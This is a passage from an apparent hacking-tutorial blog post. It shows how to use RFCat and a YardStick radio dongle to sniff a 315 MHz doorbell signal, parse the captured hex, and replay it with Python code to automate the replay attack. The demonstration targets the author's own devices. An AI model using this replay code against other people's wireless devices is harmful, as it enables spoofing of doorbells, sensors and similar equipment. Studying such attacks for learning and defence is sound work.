<b><u><span style="color: #38761d;">Install Spectrum Analyzer PreReqs:</span></u></b></div>
<div class="p1">
sudo pip install PySide</div>
<div class="p1">
sudo apt-get install ipython</div>
<div class="p2">
<br /></div>
<div class="p1">
<b><u><span style="color: #38761d;">Plug in your adapter and type in the following:<span class="Apple-converted-space"> </span></span></u></b></div>
<div class="p1">
rfcat -r<span class="Apple-converted-space"> </span></div>
<div class="p1">
d.specan(315000000)</div>
<div class="p2">
<br /></div>
<div class="p1">
You will then see the below output of RFCat Specan running in the 315 MHz range. </div>
<div class="p1">
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. </div>
<div class="p1">
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3bpmj1Y_nog83kAm1y0SxDObBbfhLFV_fY6b15JRZ82yP45wUkZjBrSMCnDVNC_WbZyUdJWi_bOj3QQp-UFvnZUP-Wt7LMwN2Uyw-kvc1K4g2Q64_TmYfnTc_xS9XkmmbsVPOkWsstco8/s1600/Scan1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="392" data-original-width="784" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3bpmj1Y_nog83kAm1y0SxDObBbfhLFV_fY6b15JRZ82yP45wUkZjBrSMCnDVNC_WbZyUdJWi_bOj3QQp-UFvnZUP-Wt7LMwN2Uyw-kvc1K4g2Q64_TmYfnTc_xS9XkmmbsVPOkWsstco8/s640/Scan1.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOnrgmq8_pYh3dWUSr8T3Xwa47f4aXwUMAHhh5ehFdswxYzxGme-TONzOxul3nTID78-x1-RW4CKNC1xM98DD0phgmknAMZdGZTpkXIMrJwUtkaENxzbsFNZFob_fpMQoHmP12WQDmrJM-/s1600/scan2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="364" data-original-width="789" height="294" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOnrgmq8_pYh3dWUSr8T3Xwa47f4aXwUMAHhh5ehFdswxYzxGme-TONzOxul3nTID78-x1-RW4CKNC1xM98DD0phgmknAMZdGZTpkXIMrJwUtkaENxzbsFNZFob_fpMQoHmP12WQDmrJM-/s640/scan2.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.<span class="Apple-converted-space"> </span>Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. </div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
Sniffing RF Data With The YardStick and Python: </span></h3>
<div class="p2">
In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?<span class="Apple-converted-space"> </span>One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.<span class="Apple-converted-space"> </span>The settings below should all be familiar from our last blog with an exception of “lowball” which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.</div>
<div class="p2">
<br /></div>
<div class="p1">
Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.<span class="Apple-converted-space"> </span></div>
<div class="p1">
<br /></div>
<div class="p1">
After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. </div>
<div class="p2">
<br /></div>
<div class="p1">
<span style="color: #38761d;">Destroy ficti0n$</span> <b><span style="color: #38761d;">rfcat -r</span></b></div>
<div class="p1">
<br /></div>
<div class="p1">
<br /></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setFreq(315000000)</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setMdmModulation(MOD_ASK_OOK)</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setMdmDRate(4800)</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setMaxPower()</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.lowball()</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.RFlisten()</span></div>
<div class="p1">
<span style="color: #38761d;">Entering RFlisten mode...<span class="Apple-converted-space"> </span>packets arriving will be displayed on the screen</span></div>
<div class="p1">
<span style="color: #38761d;">(press Enter to stop)</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">(1508637518.258) Received:<span class="Apple-converted-space"> </span>c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<span class="Apple-converted-space"> </span>| ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................</span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
If you hit “ENTER” in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.<span class="Apple-converted-space"> </span>If we convert that to binary we can compare with what we decoded WAV from our previous blog. </div>
<div class="p1">
<br /></div>
<div class="p1">
Since we are already in a python terminal you can type the following to see the binary representation:</div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">>>> bin(int("84e708421084e738",16))[2:]</span></div>
<div class="p1">
<span style="color: #38761d;">'1000010011100111000010000100001000010000100001001110011100111000'</span></div>
<div class="p2">
<br /></div>
<div class="p1">
<span class="Apple-converted-space"> </span>Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be:<span class="Apple-converted-space"> </span></div>
<div class="p1">
New: 10000100 11100111 00001000 01000010 00010000 10000100 11100111<span class="Apple-converted-space"> </span>00111000</div>
<div class="p1">
Orig:<span class="Apple-converted-space"> </span>10111000 10001011 10111000 10001000<span class="Apple-converted-space"> </span>10001011 <span class="Apple-converted-space"> </span>10111011 <span class="Apple-converted-space"> </span>10000000</div>
<div class="p2">
<br /></div>
<div class="p1">
If we take the above capture data and format it correctly for RFcat with the replay code from the last blog. When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more. <span class="Apple-converted-space"> Below is the code with the new hex from the capture data:</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">from rflib import *<span class="Apple-converted-space"> </span></span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">d = RfCat()</span></div>
<div class="p1">
<span style="color: #38761d;">d.setFreq(315000000)</span></div>
<div class="p1">
<span style="color: #38761d;">d.setMdmModulation(MOD_ASK_OOK)</span></div>
<div class="p1">
<span style="color: #38761d;">d.setMdmDRate(4800)</span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">print "Starting"</span></div>
<div class="p1">
<span style="color: #38761d;">d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)</span></div>
<div class="p1">
<span style="color: #38761d;">print 'Transmission Complete'</span></div>
<div class="p2">
<br /></div>
<h3>
<br /><span style="color: #38761d;">TroubleShooting Antenna Issues:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.<span class="Apple-converted-space"> </span>So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button.<span class="Apple-converted-space"> </span></div>
<div class="p1">
</div>
<ul>
<li>When using a telescopic antenna closed I had almost repeating output with some random bits flipped</li>
<li>When extending the antenna it went crazy output with random noise</li>
<li>I then used a small rubber ducky antenna and got the repeating output shown above.<span class="Apple-converted-space"> </span></li>
</ul>
<br />
<h3>
<span style="color: #38761d;">
What we have done so far:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
So above, we managed to figure out the following all in RFCat<span class="Apple-converted-space"> </span></div>
<div class="p1">
</div>
<ul>
<li>Verify the frequency with RFCat</li>
<li>How can I listen for it and capture a transmission with RFCat</li>
<li>How can I send this transmission with RFCat</li>
</ul>
<br />
<div class="p2">
<br /></div>
<div class="p1">
We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes<span class="Apple-converted-space"> </span>I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
Using RFrecv() for Listening:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().<span class="Apple-converted-space"> </span>If we fire up our RFCat in the terminal again we can give that a try:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<span style="color: #38761d;">Destroy:~ ficti0n$ </span><b><span style="color: #38761d;">rfcat -r</span></b></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setFreq(315000000)</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setMdmModulation(MOD_ASK_OOK)</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setMdmDRate(4800)</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.setMaxPower()</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.lowball()</span></div>
<div class="p1">
<span style="color: #38761d;">>>> d.RFrecv()</span></div>
<div class="p1">
<span style="color: #38761d;">Traceback (most recent call last):</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>File "<console>", line 1, in <module></module></console></span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>data = self.recv(APP_NIC, NIC_RECV, timeout)</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>raise(ChipconUsbTimeoutException())</span></div>
<div class="p1">
<span style="color: #38761d;">ChipconUsbTimeoutException: Timeout waiting for USB response.</span></div>
<div class="p1">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
OK thats not cool we are getting a weird error if we don’t get a signal right away regarding ChipconUsbTimeoutException.<span class="Apple-converted-space"> </span></div>
<div class="p1">
<br /></div>
<div class="p1">
No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.<span class="Apple-converted-space"> </span>This is done with a Try/Except block.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<span style="color: #38761d;">try:</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>d.RFrecv()</span></div>
<div class="p1">
<span style="color: #38761d;">... except ChipconUsbTimeoutException:</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>pass</span></div>
<div class="p1">
<span style="color: #38761d;">...</span></div>
<div class="p1">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.<span class="Apple-converted-space"> </span>Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read:<span class="Apple-converted-space"> </span></div>
<div class="p1">
<span class="Apple-converted-space"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">try:</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>d.RFrecv()</span></div>
<div class="p1">
<span style="color: #38761d;">... except ChipconUsbTimeoutException:</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>pass</span></div>
<div class="p1">
<span style="color: #38761d;">...</span></div>
<div class="p1">
<span style="color: #38761d;">while True:</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>try:</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>d.RFrecv()</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>except ChipconUsbTimeoutException:</span></div>
<div class="p1">
<span style="color: #38761d;">... <span class="Apple-converted-space"> </span>pass</span></div>
<div class="p1">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsXkpBG1oGCXOouzX3IDAPKqEIvB-Nk-qee7_aitkQbf7Vf5HK8SUY9EdoiDuT7es2JBLbZlfyzdAmeBm48rOblLl0jT8AWn5Ir1k-_3fgIdAXfW5KM4w0lBLHNJtWsRDyrGL4KiLBQ4mS/s1600/output1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="412" data-original-width="863" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsXkpBG1oGCXOouzX3IDAPKqEIvB-Nk-qee7_aitkQbf7Vf5HK8SUY9EdoiDuT7es2JBLbZlfyzdAmeBm48rOblLl0jT8AWn5Ir1k-_3fgIdAXfW5KM4w0lBLHNJtWsRDyrGL4KiLBQ4mS/s640/output1.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.<span class="Apple-converted-space"> </span>What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. </div>
<div class="p1">
<br /></div>
<div class="p1">
Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want<span class="Apple-converted-space"> </span></div>
<div class="p1">
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding.<span class="Apple-converted-space"> </span></div>
<div class="p1">
Line 14: After that we just print it out.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYlTLXqdpsAblmpApL_4cKx3LnaKaj1nnc9o-nW2fDKk60dE4-y-FBWCNiYptfdHipsN0uCZfwAePAYDHZzWXubQyoZIOGrnL5t4s6BIm2O7muWc0luXAKzV9zje9mjTiIeq6O17E019Ky/s1600/SniffingWithRfcatCode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="346" data-original-width="448" height="307" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYlTLXqdpsAblmpApL_4cKx3LnaKaj1nnc9o-nW2fDKk60dE4-y-FBWCNiYptfdHipsN0uCZfwAePAYDHZzWXubQyoZIOGrnL5t4s6BIm2O7muWc0luXAKzV9zje9mjTiIeq6O17E019Ky/s400/SniffingWithRfcatCode.png" width="400" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable “capture”<span class="Apple-converted-space"> </span>on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions. <span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfy_71cHAW_scLD55ZgiK70OyVfz-dzeXLvzjms8Ad9JSBK9zu7FWyp6HL8vDUYzpB7PuwdxOE67qPcNdwqz_x1FKxOWbJa_8Y2ze-seLe0KPmVmzjJ6GWwQMtuLp2UGtz7cZmDpNt4Uj/s1600/RFCatSniffingOutput.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="104" data-original-width="860" height="76" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfy_71cHAW_scLD55ZgiK70OyVfz-dzeXLvzjms8Ad9JSBK9zu7FWyp6HL8vDUYzpB7PuwdxOE67qPcNdwqz_x1FKxOWbJa_8Y2ze-seLe0KPmVmzjJ6GWwQMtuLp2UGtz7cZmDpNt4Uj/s640/RFCatSniffingOutput.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
Parsing and replaying data:<span class="Apple-converted-space"> </span></span></h3>
<div class="p1">
This actually took me a bit of time to figure out, so we need to do a few things to get this to work:<span class="Apple-converted-space"> </span></div>
<div class="p1">
</div>
<ul>
<li>We need to parse out the data from the surrounding 0s</li>
<li>We need to convert it to a format we can send (tricker then it sounds)<span class="Apple-converted-space"> </span></li>
<li>We need to add padding and send that data over (We know how to do this already)<span class="Apple-converted-space"> </span></li>
</ul>
<br />
<div class="p2">
<br /></div>
<h4>
<span style="color: #38761d;">
Parsing Data:<span class="Apple-converted-space"> </span></span></h4>
<div class="p1">
So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">re.split ('0000*', capture)</span></div>
<div class="p2">
<br /></div>
<div class="p1">
All this is doing is using the regex library to parse on a set of 4 or more zeros<span class="Apple-converted-space"> </span>and return whats left in a list of useable hex data for sending.<span class="Apple-converted-space"> </span>So lets add that into our code and give it a try to see what we get back.<span class="Apple-converted-space"> I</span> made the following code changes:<span class="Apple-converted-space"> </span></div>
<div class="p1">
<span class="Apple-converted-space"><br /></span></div>
<div class="p1">
Line 2: Import the Regex library</div>
<div class="p1">
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop</div>
<div class="p1">
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks</div>
<div class="p1">
Line 22: We print out our list of useable payloads which can been seen in the below output</div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKjEqfq19lOXRS0rc2eRrOvtx8voiqKdp5FX4dDbJbVvxTnscdieOjFPxFF_urLrruaaBH4oa5oAN_yvJAmvbOC-9cGredykYY4HE7efIZXhvrkMMb_QMfCzCJq78aNjozy9cPDUgzLAva/s1600/ParsingRFCatData.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="498" data-original-width="534" height="371" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKjEqfq19lOXRS0rc2eRrOvtx8voiqKdp5FX4dDbJbVvxTnscdieOjFPxFF_urLrruaaBH4oa5oAN_yvJAmvbOC-9cGredykYY4HE7efIZXhvrkMMb_QMfCzCJq78aNjozy9cPDUgzLAva/s400/ParsingRFCatData.png" width="400" /></a></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQZAVKKJrakH_7LThervPArgtkEq57J5RN8YGaD4Ru8kH-PSLeH1k3I67fV-RSAHzTw95e6P9g0r0ixdhunrlIbrBkDY-NCetK5pdSUBOzUVXRmNc4G8c3SBR3zq-Xg55wMKjaXPVfOZBh/s1600/RFCatParsedDataOuput.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="211" data-original-width="865" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQZAVKKJrakH_7LThervPArgtkEq57J5RN8YGaD4Ru8kH-PSLeH1k3I67fV-RSAHzTw95e6P9g0r0ixdhunrlIbrBkDY-NCetK5pdSUBOzUVXRmNc4G8c3SBR3zq-Xg55wMKjaXPVfOZBh/s640/RFCatParsedDataOuput.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
Data Format Woes:</span></h3>
<div class="p1">
So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7.<span class="Apple-converted-space"> </span>But it won’t actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below. You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p1">
<u><b><span style="color: #38761d;">DON’T USE THIS.. IT WONT WORK!!!<span class="Apple-converted-space"> </span></span></b></u></div>
<div class="p1">
<span style="color: #38761d;">for payload in payloads:<span class="Apple-converted-space"> </span></span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>formatted = ""</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>if (len(payload) > 6) and (len(payload) % 2 == 0):</span></div>
<div class="p2">
<span class="Apple-converted-space" style="color: #38761d;"> </span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>print "Currently being formatted: " + payload<span class="Apple-converted-space"> </span></span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>iterator = iter(payload)</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>for i in iterator:</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>formatted += ('\\x'+i + next(iterator))</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>else:</span></div>
<div class="p1">
<span style="color: #38761d;"><span class="Apple-converted-space"> </span>continue</span></div>
<div class="p2">
<b><span style="color: #38761d;"><br /></span></b>
<b><span style="color: #38761d;">Formatted Hex Vs Manually Pasted Hex</span></b></div>
<div class="p1">
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code </div>
<div class="p1">
Below is the output of the following:</div>
<div class="p1">
</div>
<ul>
<li>Your encoded capture</li>
<li>Your parsed payloads in a nice list</li>
<li>Your payload being processed into hex.<span class="Apple-converted-space"> </span></li>
</ul>
<div class="p1">
<b><span style="color: #38761d;">But this is where things go wrong, you then have :</span></b></div>
<div class="p1">
</div>
<ul>
<li>Your nicely formatted Hex created by your code above (Yay for us)<span class="Apple-converted-space"> </span></li>
<li>Then you have your manually pasted in hex from your original attack payloads as unprintable characters<span class="Apple-converted-space"> </span>(What?)</li>
</ul>
<br />
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXX6WcbRt6HClSkSajmMPrQlgJGIYqa96scrIjtTVsnRPUnLIjze6237F7v-W6kJXEZuQ3f3VST9jdoOuoQpYjj_mNriC8m-8sYD1xipouhjGpb78_3P_SzqYRLhuXr_Gx__G71PMhC3rZ/s1600/RFCatDataFormatingIssues.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="279" data-original-width="804" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXX6WcbRt6HClSkSajmMPrQlgJGIYqa96scrIjtTVsnRPUnLIjze6237F7v-W6kJXEZuQ3f3VST9jdoOuoQpYjj_mNriC8m-8sYD1xipouhjGpb78_3P_SzqYRLhuXr_Gx__G71PMhC3rZ/s640/RFCatDataFormatingIssues.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
<span class="Apple-converted-space"> </span>You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.<span class="Apple-converted-space"> </span>This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.<span class="Apple-converted-space"> </span>The examples for this library were using binary data instead of hex and then converting it.<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<h3>
<span style="color: #38761d;">
BitString BitArray Formating FTW: </span></h3>
<div class="p1">
If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<br /></div>
<b><span style="color: #38761d;">Install Bitstring: </span></b><br />
<div class="p1">
sudo pip install bitstring</div>
<div class="p2">
<br /></div>
<div class="p1">
<b><span style="color: #38761d;">Our New code using BitString:<span class="Apple-converted-space"> </span></span></b></div>
<div class="p1">
Line 2: I imported bitstring</div>
<div class="p1">
Line 25: I added a for loop to go through our payload list one by one</div>
<div class="p1">
Line 27: I convert our current payload to binary</div>
<div class="p1">
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues</div>
<div class="p1">
Lines 29-30:<span class="Apple-converted-space"> </span>Print out our binary and our new data that match our manually pasted data format, shown below</div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2QNOGkcJRIvpoxWAAcVkF1LO0YK14i8Mc0rsFxL7DohZHJkw1zJR1yz_VfBiTwT4YC6iht2QWffepPRp3Z8k0kPXelI2F53Xc5yGcfazAuIWp__rDgJ-h5JOGS4CYE9uWE6Gv8kyf80eg/s1600/RFCatDataFormatingBitArray.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="588" data-original-width="675" height="555" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2QNOGkcJRIvpoxWAAcVkF1LO0YK14i8Mc0rsFxL7DohZHJkw1zJR1yz_VfBiTwT4YC6iht2QWffepPRp3Z8k0kPXelI2F53Xc5yGcfazAuIWp__rDgJ-h5JOGS4CYE9uWE6Gv8kyf80eg/s640/RFCatDataFormatingBitArray.png" width="640" /></a></div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZCwf_MNweKzebPKt7ymTeBoC0xm88y8Du6yP7m2XwGBQRbnT0VwnAnwSPV2CC-YD5rviXpSBvw3X82b5R9daQxkQmPecUYvtMJ91tLkbgdyZUNU3gqvnSS3kmVim4ge0nLIWrwVhGPk49/s1600/RFCatDataFormatOuput.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="501" data-original-width="419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZCwf_MNweKzebPKt7ymTeBoC0xm88y8Du6yP7m2XwGBQRbnT0VwnAnwSPV2CC-YD5rviXpSBvw3X82b5R9daQxkQmPecUYvtMJ91tLkbgdyZUNU3gqvnSS3kmVim4ge0nLIWrwVhGPk49/s1600/RFCatDataFormatOuput.png" /></a></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.<span class="Apple-converted-space"> </span>It is also very easy if you know what your doing and don’t spend all of your time figuring it out like I did. <span class="Apple-converted-space"> You just need to understand how to work with the types of data each component understands. </span></div>
<div class="p2">
<br /></div>
<div class="p1">
With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding:<span class="Apple-converted-space"> </span></div>
<div class="p2">
<span style="color: #38761d;"><br /></span></div>
<div class="p1">
<span style="color: #38761d;">d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)</span></div>
<div class="p2">
<br /></div>
<div class="p2">
<br /></div>
<div class="p1">
